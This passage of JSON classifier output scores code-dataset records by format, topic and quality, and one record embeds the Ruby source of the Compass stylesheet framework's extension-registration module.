Reviews": 0.00011392572077176612, "NONE": 0.8011337694265083}, "tertiary": {"Academic Writing": 0.00030066520001016125, "Content Listing": 0.0003832285891997204, "Creative Writing": 0.00022969244958944096, "Customer Support Page": 0.00015802045341273686, "Q&A Forum": 0.00010148970181448481, "Discussion Thread": 0.00010497779750151968, "Comment Section": 0.0003500892208247404, "Missing Content": 0.0005025137361408421, "Knowledge Article": 0.002113885047315474, "Legal Notices": 0.00044757710318800247, "News Article": 0.00014758442539249863, "Organizational Announcement": 0.00015516695523678202, "Nonfiction Writing": 0.0001606399976449548, "Organizational About Page": 0.00020737076064569746, "Personal About Page": 0.0001301239222421657, "Personal Blog": 0.00012083170032264304, "Product Page": 0.00012010984934224044, "Spam / Ads": 0.00013855576360156493, "Structured Data": 0.08064375220587, "Technical Writing": 0.022624336571172382, "Transcript / Interview": 0.00018710086465448895, "Tutorial / How-To Guide": 0.0004129172163930681, "User Reviews": 6.91026421631999e-05, "NONE": 0.8901902678263212}, "structured_records": {"false": 0.5467991257958367, "true": 0.4532008742041634}, "procedural_steps": {"false": 0.9769109727854948, "true": 0.023089027214505262}, "worked_solution": {"false": 0.9984638844702882, "true": 0.0015361155297117406}, "contextual_dialogue": {"false": 0.9999923627364106, "true": 7.63726358947619e-06}, "content_quality": {"-2": 0.00370965398222579, "-1": 0.012396697126447196, "0": 0.18056622747185191, "1": 0.48240253293466423, "2": 0.320924888484811}, "noise_severity": {"0": 0.9850905563802166, "1": 0.013455848849313595, "2": 0.0009917884309501327, "3": 0.0002935609889787482, "4": 0.00016824535054101624}, "missing_content_severity": {"0": 0.9850852576285829, "1": 0.011996932035644895, "2": 0.001974199990468254, "3": 0.0007426915070428073, "4": 0.00020091883826117945}, "factual_density": {"0": 0.0013421619756586154, "1": 0.0035819754073007064, "2": 0.04332622309542068, "3": 0.34999937993467595, "4": 0.6017502595869441}, "pretraining_utility": {"-2": 0.007261394752603107, "-1": 0.07401227909859119, "0": 0.3547436565040673, "1": 0.4691694981520694, "2": 0.09481317149266907}, "math_density": {"0": 0.6999284911951172, "1": 0.23337970215043619, "2": 0.04514182491934931, "3": 0.00694820413860621, "4": 0.014601777596491056}, "code_density": {"0": 0.00038568998611232975, "1": 0.0008191819308570551, "2": 0.026222735855764432, "3": 0.27571035893423707, "4": 0.6968620332930291}, "reasoning_density": {"0": 0.7031061015946298, "1": 0.15514916532650602, "2": 0.10458745462512536, "3": 0.026341295050005438, "4": 0.01081598340373325}, "education_level": {"none": 0.0009346274952848328, "0": 0.0012912049211829622, "1": 0.007417804010664297, "2": 0.5982857089877628, "3": 0.34787112681917437, "4": 0.04419952776593081}, "creative_writing_quality": {"not_applicable": 0.999694072887169, "-2": 4.3712479380274955e-05, "-1": 7.140492020064716e-05, "0": 0.00013082996066290966, "1": 4.307017223175194e-05, "2": 1.6909580355016804e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.1418980149572496e-05, "Art & Design": 6.357612319880483e-05, "Law & Crime": 4.850816204170388e-05, "Education & Careers": 4.142186376583082e-05, "Entertainment & Media": 3.8427515654755064e-05, "Fashion & Beauty": 3.550485092703266e-05, "Business, Economics & Finance": 9.975564890416598e-05, "Food & Dining": 4.404595778489926e-05, "Games & Gaming": 0.00015428400320426837, "Electronics & Hardware": 9.699301153149491e-05, "Health, Healthcare & Wellness": 4.479676964447058e-05, "History & Geography": 0.00517477156246636, "Home, Pets & Hobbies": 6.66211371992908e-05, "Industry & Production": 5.638487222686913e-05, "Language, Literature & Philosophy": 4.578327756280351e-05, "Politics & Government": 3.713208926149973e-05, "Religion & Spirituality": 5.168675107746811e-05, "Science, Mathematics & Engineering": 0.00168529946926063, "Relationships & Community": 4.3529278106338986e-05, "Software Usage & Applications": 0.0010395005322199108, "Programming & Software Engineering": 0.9867888564311128, "Sports & Fitness": 0.00018603167386126927, "Vehicles & Transportation": 0.0011517442074369128, "Travel & Tourism": 0.0019553339925460255, "Other / Uncovered Subject": 0.0009104623362354414, "Unknown / Insufficient Content": 9.812950261928519e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007740740666603793, "Art & Design": 0.0009812986843003217, "Law & Crime": 0.0008230786518961894, "Education & Careers": 0.0004772747010372561, "Entertainment & Media": 0.0007101765338117533, "Fashion & Beauty": 0.00036858198423215675, "Business, Economics & Finance": 0.00128250857483616, "Food & Dining": 0.00035472965987735737, "Games & Gaming": 0.0008540127170718454, "Electronics & Hardware": 0.0009294533348906, "Health, Healthcare & Wellness": 0.0005563758204878204, "History & Geography": 0.042107920942729984, "Home, Pets & Hobbies": 0.000567046974701969, "Industry & Production": 0.0003751039343617581, "Language, Literature & Philosophy": 0.00035016020403277074, "Politics & Government": 0.0004700309859622963, "Religion & Spirituality": 0.0005132483376427598, "Science, Mathematics & Engineering": 0.0035587071619333547, "Relationships & Community": 0.00030167537049138475, "Software Usage & Applications": 0.008380275431033157, "Programming & Software Engineering": 0.041690640201568874, "Sports & Fitness": 0.0010194048585996968, "Vehicles & Transportation": 0.002611237243382073, "Travel & Tourism": 0.013405621063118973, "Other / Uncovered Subject": 0.002714017036409756, "NONE": 0.8738233455249294}}, "probabilities": {"primary": {"Academic Writing": 2.9273509990475048e-05, "Content Listing": 1.946257202060699e-05, "Creative Writing": 1.3001369128836121e-05, "Customer Support Page": 8.914881706096593e-06, "Q&A Forum": 8.996801716507612e-06, "Discussion Thread": 7.197763800116533e-06, "Comment Section": 1.2516071703180887e-05, "Missing Content": 2.0076694311063384e-05, "Knowledge Article": 8.956771158072133e-05, "Legal Notices": 2.5914087616670964e-05, "News Article": 4.308953394603943e-06, "Organizational Announcement": 1.046399399635078e-05, "Nonfiction Writing": 9.002037050588446e-06, "Organizational About Page": 1.213162897238694e-05, "Personal About Page": 1.125790815237106e-05, "Personal Blog": 8.340189155513162e-06, "Product Page": 7.706733933660791e-06, "Spam / Ads": 9.169979092533021e-06, "Structured Data": 0.004204509229141187, "Technical Writing": 0.9941302311267879, "Transcript / Interview": 1.2184338654704933e-05, "Tutorial / How-To Guide": 7.583884838915804e-05, "User Reviews": 5.651920272226327e-06, "Other / Unknown": 0.0012642816494326467}, "secondary": {"Academic Writing": 0.0004735019763501233, "Content Listing": 0.0003841078142191176, "Creative Writing": 0.0002846013715343883, "Customer Support Page": 0.00022857144690306192, "Q&A Forum": 0.0001739752368380643, "Discussion Thread": 0.00018082403645429098, "Comment Section": 0.00029886587000146214, "Missing Content": 0.0006286542463010803, "Knowledge Article": 0.001062550569634804, "Legal Notices": 0.0003136980949333519, "News Article": 0.00022203239279445318, "Organizational Announcement": 0.0002445164711834543, "Nonfiction Writing": 0.00025610447555411036, "Organizational About Page": 0.000283939206972586, "Personal About Page": 0.00022230369992718457, "Personal Blog": 0.0002024377173543859, "Product Page": 0.0001664615791496793, "Spam / Ads": 0.00020003517415313442, "Structured Data": 0.1465536951589701, "Technical Writing": 0.045640542990677144, "Transcript / Interview": 0.0003157825467700867, "Tutorial / How-To Guide": 0.0004151027760439426, "User Reviews": 0.00011392572077176612, "NONE": 0.8011337694265083}, "tertiary": {"Academic Writing": 0.00030066520001016125, "Content Listing": 0.0003832285891997204, "Creative Writing": 0.00022969244958944096, "Customer Support Page": 0.00015802045341273686, "Q&A Forum": 0.00010148970181448481, "Discussion Thread": 0.00010497779750151968, "Comment Section": 0.0003500892208247404, "Missing Content": 0.0005025137361408421, "Knowledge Article": 0.002113885047315474, "Legal Notices": 0.00044757710318800247, "News Article": 0.00014758442539249863, "Organizational Announcement": 0.00015516695523678202, "Nonfiction Writing": 0.0001606399976449548, "Organizational About Page": 0.00020737076064569746, "Personal About Page": 0.0001301239222421657, "Personal Blog": 0.00012083170032264304, "Product Page": 0.00012010984934224044, "Spam / Ads": 0.00013855576360156493, "Structured Data": 0.08064375220587, "Technical Writing": 0.022624336571172382, "Transcript / Interview": 0.00018710086465448895, "Tutorial / How-To Guide": 0.0004129172163930681, "User Reviews": 6.91026421631999e-05, "NONE": 0.8901902678263212}, "structured_records": {"false": 0.5467991257958367, "true": 0.4532008742041634}, "procedural_steps": {"false": 0.9769109727854948, "true": 0.023089027214505262}, "worked_solution": {"false": 0.9984638844702882, "true": 0.0015361155297117406}, "contextual_dialogue": {"false": 0.9999923627364106, "true": 7.63726358947619e-06}, "content_quality": {"-2": 0.0037096539822257892, "-1": 0.012396697126447193, "0": 0.1805662274718519, "1": 0.4824025329346641, "2": 0.32092488848481093}, "noise_severity": {"0": 0.9850905563802166, "1": 0.013455848849313595, "2": 0.0009917884309501327, "3": 0.0002935609889787482, "4": 0.00016824535054101624}, "missing_content_severity": {"0": 0.9850852576285829, "1": 0.011996932035644895, "2": 0.001974199990468254, "3": 0.0007426915070428073, "4": 0.00020091883826117945}, "factual_density": {"0": 0.0013421619756586154, "1": 0.0035819754073007064, "2": 0.04332622309542068, "3": 0.34999937993467595, "4": 0.6017502595869441}, "pretraining_utility": {"-2": 0.007261394752603107, "-1": 0.07401227909859119, "0": 0.3547436565040673, "1": 0.4691694981520694, "2": 0.09481317149266907}, "math_density": {"0": 0.6999284911951172, "1": 0.23337970215043619, "2": 0.04514182491934931, "3": 0.00694820413860621, "4": 0.014601777596491056}, "code_density": {"0": 0.00038568998611232975, "1": 0.0008191819308570551, "2": 0.026222735855764432, "3": 0.27571035893423707, "4": 0.6968620332930291}, "reasoning_density": {"0": 0.7031061015946299, "1": 0.15514916532650605, "2": 0.10458745462512538, "3": 0.02634129505000544, "4": 0.010815983403733251}, "education_level": {"none": 0.0009346274952848328, "0": 0.0012912049211829622, "1": 0.007417804010664297, "2": 0.5982857089877628, "3": 0.34787112681917437, "4": 0.04419952776593081}, "creative_writing_quality": {"not_applicable": 0.9996940728871694, "-2": 4.371247938027497e-05, "-1": 7.140492020064719e-05, "0": 0.0001308299606629097, "1": 4.307017223175195e-05, "2": 1.690958035501681e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.14189801495725e-05, "Art & Design": 6.357612319880484e-05, "Law & Crime": 4.8508162041703884e-05, "Education & Careers": 4.142186376583083e-05, "Entertainment & Media": 3.842751565475507e-05, "Fashion & Beauty": 3.5504850927032664e-05, "Business, Economics & Finance": 9.975564890416599e-05, "Food & Dining": 4.4045957784899266e-05, "Games & Gaming": 0.0001542840032042684, "Electronics & Hardware": 9.699301153149493e-05, "Health, Healthcare & Wellness": 4.479676964447059e-05, "History & Geography": 0.005174771562466361, "Home, Pets & Hobbies": 6.662113719929081e-05, "Industry & Production": 5.6384872226869135e-05, "Language, Literature & Philosophy": 4.5783277562803516e-05, "Politics & Government": 3.713208926149974e-05, "Religion & Spirituality": 5.1686751077468116e-05, "Science, Mathematics & Engineering": 0.0016852994692606303, "Relationships & Community": 4.352927810633899e-05, "Software Usage & Applications": 0.001039500532219911, "Programming & Software Engineering": 0.9867888564311129, "Sports & Fitness": 0.0001860316738612693, "Vehicles & Transportation": 0.001151744207436913, "Travel & Tourism": 0.001955333992546026, "Other / Uncovered Subject": 0.0009104623362354415, "Unknown / Insufficient Content": 9.81295026192852e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007740740666603793, "Art & Design": 0.0009812986843003217, "Law & Crime": 0.0008230786518961894, "Education & Careers": 0.0004772747010372561, "Entertainment & Media": 0.0007101765338117533, "Fashion & Beauty": 0.00036858198423215675, "Business, Economics & Finance": 0.00128250857483616, "Food & Dining": 0.00035472965987735737, "Games & Gaming": 0.0008540127170718454, "Electronics & Hardware": 0.0009294533348906, "Health, Healthcare & Wellness": 0.0005563758204878204, "History & Geography": 0.042107920942729984, "Home, Pets & Hobbies": 0.000567046974701969, "Industry & Production": 0.0003751039343617581, "Language, Literature & Philosophy": 0.00035016020403277074, "Politics & Government": 0.0004700309859622963, "Religion & Spirituality": 0.0005132483376427598, "Science, Mathematics & Engineering": 0.0035587071619333547, "Relationships & Community": 0.00030167537049138475, "Software Usage & Applications": 0.008380275431033157, "Programming & Software Engineering": 0.041690640201568874, "Sports & Fitness": 0.0010194048585996968, "Vehicles & Transportation": 0.002611237243382073, "Travel & Tourism": 0.013405621063118973, "Other / Uncovered Subject": 0.002714017036409756, "NONE": 0.8738233455249294}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11193, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11193, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:09.626916+00:00", "scoring_key_slot": "primary", "dataset_uid": "79ccfe0d-33c7-47c7-bc20-e9ba365707c8", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "9148c6f9ed2466977a346c5c1b2008b7ea684a0219fc3acf42e7c361250e9adc", "source_metadata": {"uuid": "79ccfe0d-33c7-47c7-bc20-e9ba365707c8", "repo_name": "lelelelemon/apps", "relative_path": "openstreetmap/app/models/trace.rb", "category": "TOOL", "algo_rel_score": 0.680000901222229, "quality_score": 5.851079940795898, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 4, "repo_created_at": "2018-05-16T03:12:17.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "0ffab49ffdfa0c8d19fefc0b73c0352a592d3a84", "size_bytes": 9497, "file_timestamp": 1526677173, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c6e3b7e3a11af5f36a928d3bdfe0909bc0f3d0a4"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 4, "repo_created_at": "2018-05-16T03:12:17.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "0ffab49ffdfa0c8d19fefc0b73c0352a592d3a84", "size_bytes": 9497, "file_timestamp": 1526677173, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c6e3b7e3a11af5f36a928d3bdfe0909bc0f3d0a4", "url": "https://github.com/lelelelemon/apps/blob/c6e3b7e3a11af5f36a928d3bdfe0909bc0f3d0a4/openstreetmap/app/models/trace.rb"}, "gpt4o_tokens": 2582, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1044363048133874, "noise_severity": 0.01699309008031417, "missing_content_severity": 0.018977081890754543, "factual_density": 3.547233599749946, "pretraining_utility": 0.5702607725336101, "math_density": 0.40291507479091765, "code_density": 3.6678438636172133, "reasoning_density": 0.4866118933417061, "education_level": 2.42666874483831, "creative_writing_quality": -0.2678433606660553}, "score_applicability": {"education_level": 0.9990653725047153, "creative_writing_quality": 0.00030592711283060066}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Compass/compass/blob/4de01475c98449c4435359544db443fd3da6e9d3/core/lib/compass/frameworks.rb", "id": "ruby-0-5590d1f6b01e15ab72d4de5edebf7eb0", "text": "module Compass\n module Frameworks\n extend self\n\n ALL = []\n\n class Framework\n attr_accessor :name\n attr_accessor :path\n attr_accessor :version\n attr_accessor :templates_directory, :stylesheets_directory\n def initialize(name, *arguments)\n options = arguments.last.is_a?(Hash) ? arguments.pop : {}\n self.path = path = options[:path] || arguments.shift\n @name = name\n @templates_directory = options[:templates_directory]\n @templates_directory ||= File.join(path, 'templates') if path\n @stylesheets_directory = options[:stylesheets_directory]\n @stylesheets_directory ||= File.join(path, 'stylesheets') if path\n @version = options[:version]\n end\n\n def template_directories\n if templates_directory\n Dir.glob(File.join(templates_directory, \"*\")).map{|f| File.basename(f)}\n else\n []\n end\n end\n\n def manifest_file(pattern)\n File.join(templates_directory, pattern.to_s, \"manifest.rb\")\n end\n\n def manifest(pattern, options = {})\n options[:pattern_name] ||= pattern\n Compass::Installers::Manifest.new(manifest_file(pattern), options)\n end\n end\n\n def detect_registration\n @registered = nil\n yield\n @registered\n ensure\n @registered = nil\n end\n\n def register(name, *arguments)\n opts = if arguments.last.is_a?(Hash)\n arguments.last\n else\n o = {}\n arguments << o\n o\n end\n opts[:version] ||= guess_gem_version(caller[0])\n @registered = Framework.new(name, *arguments)\n if idx = ALL.index(self[name])\n ALL[idx] = @registered\n else\n ALL << @registered\n end\n end\n\n def [](name)\n ALL.detect{|f| f.name.to_s == name.to_s}\n end\n\n def guess_gem_version(line_reference)\n if line_reference =~ %r{/gems/([^/]*-[^/]*)/}\n split_at = $1.rindex(\"-\")\n name = $1[1...split_at]\n version = $1[(split_at + 1)..-1]\n version unless name == \"compass\"\n end\n end\n\n def discover(frameworks_directory)\n if frameworks_directory == :defaults\n warn(\"The :defaults argument to Compass::Frameworks.discover is no longer necessary\")\n return\n end\n frameworks_directory = Dir.new(frameworks_directory) unless frameworks_directory.is_a?(Dir)\n dirs = frameworks_directory.entries.reject{|e| e =~ /^\\./}.sort_by{|n| n =~ /^_/ ? n[1..-1] : n}\n dirs.each do |framework|\n register_directory File.join(frameworks_directory.path, framework)\n end\n end\n\n def register_directory(directory)\n loaders = [\n File.join(directory, \"compass_init.rb\"),\n File.join(directory, 'lib', File.basename(directory)+\".rb\"),\n File.join(directory, File.basename(directory)+\".rb\")\n ]\n loader = loaders.detect{|l| File.exists?(l)}\n registered_framework = detect_registration do\n require loader if loader\n end\n unless registered_framework\n register File.basename(directory), directory\n end\n end\n\n def template_exists?(template)\n framework_name, template = template.split(%r{/}, 2)\n template ||= \"project\"\n if (framework = self[framework_name]) && framework.templates_directory\n return File.directory?(File.join(framework.templates_directory, template))\n end\n false\n end\n\n def template_usage(template)\n framework_name, template = template.split(%r{/}, 2)\n framework = self[framework_name]\n template ||= \"project\"\n usage_file = File.join(framework.templates_directory, template, \"USAGE.markdown\")\n if File.exists?(usage_file)\n File.read(usage_file)\n elsif help = framework.manifest(template).help\n help\n else\n <<-END.gsub(/^ {8}/, '')\n No Usage!\n END\n end\n end\n\n def pretty_print(skip_patterns = false)\n result = \"\"\n max = Compass::Frameworks::ALL.inject(0) do |gm, framework|\n fm = framework.template_directories.inject(0) do |lm,pattern|\n [lm, 7 + framework.name.size + pattern.size].max\n end\n [gm, fm].max\n end\n Compass::Frameworks::ALL.each do |framework|\n next if framework.name =~ /^_/\n result << \" * #{framework.name}\\n\"\n unless skip_patterns\n framework.template_directories.each do |pattern|\n result << \" - #{framework.name}/#{pattern}\".ljust(max)\n if description = framework.manifest(pattern).description\n result << \" - #{description}\"\n end\n result << \"\\n\"\n end\n end\n end\n result\n end\n end\n\n class << self\n def discover_gem_extensions!\n if defined?(Gem)\n Gem.find_files(\"compass-*\").map{|f| File.basename(f, \".rb\")}.each do |compass_extension|\n begin\n require compass_extension\n rescue Gem::LoadError, LoadError\n Compass::Util.compass_warn \"Unable to load extension: #{compass_extension}\"\n end\n end\n end\n end\n\n def discover_extensions!\n Compass.shared_extension_paths.each do |extensions_path|\n if File.directory?(extensions_path)\n Compass::Frameworks.discover(extensions_path)\n end\n end\n if File.directory?(configuration.extensions_path)\n Compass::Frameworks.discover(configuration.extensions_path)\n end\n discover_gem_extensions!\n end\n end\nend\n", "text_preview": "module Compass module Frameworks extend self ALL = [] class Framework attr_accessor :name attr_accessor :path attr_accessor :version attr_accessor :templates_directory, :stylesheets_directory def initialize(name, *arguments) options = argum", "input_sha256": "26d80fbbba1f889c4c82c09151e4ce17bbf148080d5b58c104c86551a7daa0d8", "text_sha256": "5590d1f6b01e15ab72d4de5edebf7eb0be4d7952ad61b85e66287f4354009bd2", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16118, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0388105116876736, "noise_severity": 0.002471619905132733, "missing_content_severity": 0.006088425843873306, "factual_density": 3.558942441999632, "pretraining_utility": 0.35032211708398486, "math_density": 0.03415484792454795, "code_density": 3.944450358246112, "reasoning_density": 0.3291991243724267, "education_level": 2.3924610742365062, "creative_writing_quality": -0.22285277756052627}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.005836057011792795, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9978598360121858, "secondary": 0.9900915465530608, "tertiary": 0.9961813451740619, "structured_records": 0.01050942194363562, "procedural_steps": 0.003656780577470341, "worked_solution": 0.0004086817603987751, "contextual_dialogue": 4.810217846411066e-06, "content_quality": 0.5621286124911598, "noise_severity": 0.9979403167457227, "missing_content_severity": 0.9949263117967723, "factual_density": 0.6324520349996934, "pretraining_utility": 0.5034622788282037, "math_density": 0.9715376267295434, "code_density": 0.9537086318717597, "reasoning_density": 0.725667396356311, "education_level": 0.5559952819418986, "creative_writing_quality": 0.9994884969502202, "primary_topic": 0.9915179743690852, "secondary_topic": 0.9526031757004584}, "probability_margin": {"primary": 0.9969621436912366, "secondary": 0.9863153083049386, "tertiary": 0.995065286135223, "education_level": 0.32298275902045526, "creative_writing_quality": 0.999364658690418, "primary_topic": 0.9871158040961019, "secondary_topic": 0.9246954073915671}, "raw_probabilities": {"primary": {"Academic Writing": 1.9807442098305913e-05, "Content Listing": 1.9806922634275607e-05, "Creative Writing": 8.80738423678146e-06, "Customer Support Page": 8.242615856390716e-06, "Q&A Forum": 5.9144051687081625e-06, "Discussion Thread": 4.050579470515172e-06, "Comment Section": 5.984225030427741e-06, "Missing Content": 1.6412241473705724e-05, "Knowledge Article": 7.408841668584208e-05, "Legal Notices": 2.1364432275584134e-05, "News Article": 2.5761995256310326e-06, "Organizational Announcement": 6.453373484311971e-06, "Nonfiction Writing": 6.978925100893725e-06, "Organizational About Page": 6.5567030393637235e-06, "Personal About Page": 4.915018998327001e-06, "Personal Blog": 3.7180452580072424e-06, "Product Page": 4.0042020917829555e-06, "Spam / Ads": 4.97226568943361e-06, "Structured Data": 0.0007555739190631334, "Technical Writing": 0.997949009511678, "Transcript / Interview": 7.506458114175639e-06, "Tutorial / How-To Guide": 7.291116359850369e-05, "User Reviews": 3.4797289867098016e-06, "Other / Unknown": 0.0009868658204413487}, "secondary": {"Academic Writing": 6.10118798314901e-05, "Content Listing": 0.00013226360875904998, "Creative Writing": 4.338551965356685e-05, "Customer Support Page": 4.426236545515013e-05, "Q&A Forum": 1.7644778028894256e-05, "Discussion Thread": 1.48806635634975e-05, "Comment Section": 2.9912563742215206e-05, "Missing Content": 0.0001439193986111693, "Knowledge Article": 0.00017904543209968415, "Legal Notices": 5.9905884496744594e-05, "News Article": 2.4825681147286697e-05, "Organizational Announcement": 2.741507929770025e-05, "Nonfiction Writing": 2.2721354103468188e-05, "Organizational About Page": 3.347769471158743e-05, "Personal About Page": 2.169572869191019e-05, "Personal Blog": 2.0329429659403015e-05, "Product Page": 1.547022520068413e-05, "Spam / Ads": 2.7414909355356422e-05, "Structured Data": 0.004149179721332828, "Technical Writing": 0.004189090475077846, "Transcript / Interview": 2.81157871385261e-05, "Tutorial / How-To Guide": 0.00019710913449935076, "User Reviews": 1.252390552600849e-05, "NONE": 0.9905043987800165}, "tertiary": {"Academic Writing": 3.844946852837963e-05, "Content Listing": 0.0001551197674376782, "Creative Writing": 3.6413259683337996e-05, "Customer Support Page": 4.8034481013178644e-05, "Q&A Forum": 1.1792490951251946e-05, "Discussion Thread": 8.995992527356717e-06, "Comment Section": 2.9609389282287467e-05, "Missing Content": 0.00022770446067593822, "Knowledge Article": 0.00014178175119393903, "Legal Notices": 9.44274191122431e-05, "News Article": 2.0252327782533553e-05, "Organizational Announcement": 2.264772584149239e-05, "Nonfiction Writing": 1.974086323894973e-05, "Organizational About Page": 3.106783111377118e-05, "Personal About Page": 1.4243687819081448e-05, "Personal Blog": 1.3967690425482614e-05, "Product Page": 1.342125145643386e-05, "Spam / Ads": 2.3073377338620955e-05, "Structured Data": 0.0012273014550286058, "Technical Writing": 0.001275169656586227, "Transcript / Interview": 1.8119234237472403e-05, "Tutorial / How-To Guide": 0.00017759637277271772, "User Reviews": 1.0614254143661601e-05, "NONE": 0.9963404557918093}, "structured_records": {"false": 0.9894905780563644, "true": 0.01050942194363562}, "procedural_steps": {"false": 0.9963432194225297, "true": 0.003656780577470341}, "worked_solution": {"false": 0.9995913182396012, "true": 0.0004086817603987751}, "contextual_dialogue": {"false": 0.9999951897821536, "true": 4.810217846411066e-06}, "content_quality": {"-2": 0.005225570581099319, "-1": 0.013319639697987341, "0": 0.20100158552219466, "1": 0.4983251158495777, "2": 0.2821280883491409}, "noise_severity": {"0": 0.9980118296207127, "1": 0.0016794679318180715, "2": 0.00018505093280037584, "3": 7.255595096185468e-05, "4": 5.1095563707086494e-05}, "missing_content_severity": {"0": 0.9959487115502611, "1": 0.0026035390382624017, "2": 0.0009613629516669256, "3": 0.0003833849369617132, "4": 0.00010300152284797878}, "factual_density": {"0": 0.002809362692670608, "1": 0.005662909716598459, "2": 0.05780989788269805, "3": 0.29721158231449407, "4": 0.6365062473935388}, "pretraining_utility": {"-2": 0.007489163851589088, "-1": 0.10778324645790716, "0": 0.46476007820030985, "1": 0.3668513317353178, "2": 0.05311617975487618}, "math_density": {"0": 0.9749021946341222, "1": 0.021195193118158748, "2": 0.0010172828524132, "3": 0.0006162284796606826, "4": 0.0022691009156451877}, "code_density": {"0": 0.00015193852390884722, "1": 0.00027259216598300246, "2": 0.0054654748402138105, "3": 0.04319316147987635, "4": 0.9509168329900181}, "reasoning_density": {"0": 0.826020906271241, "1": 0.06453079206538824, "2": 0.07688395385240585, "3": 0.019356966641633187, "4": 0.013207381169331817}, "education_level": {"none": 0.001278725010742046, "0": 0.0017378025678950826, "1": 0.010508889809169012, "2": 0.6299960682849155, "3": 0.30701330926446024, "4": 0.0494652050628181}, "creative_writing_quality": {"not_applicable": 0.9995737474585169, "-2": 5.3021103182166796e-05, "-1": 8.705167839031432e-05, "0": 0.00020908876809883718, "1": 5.60796616808308e-05, "2": 2.1011330131028738e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.3016574186509994e-05, 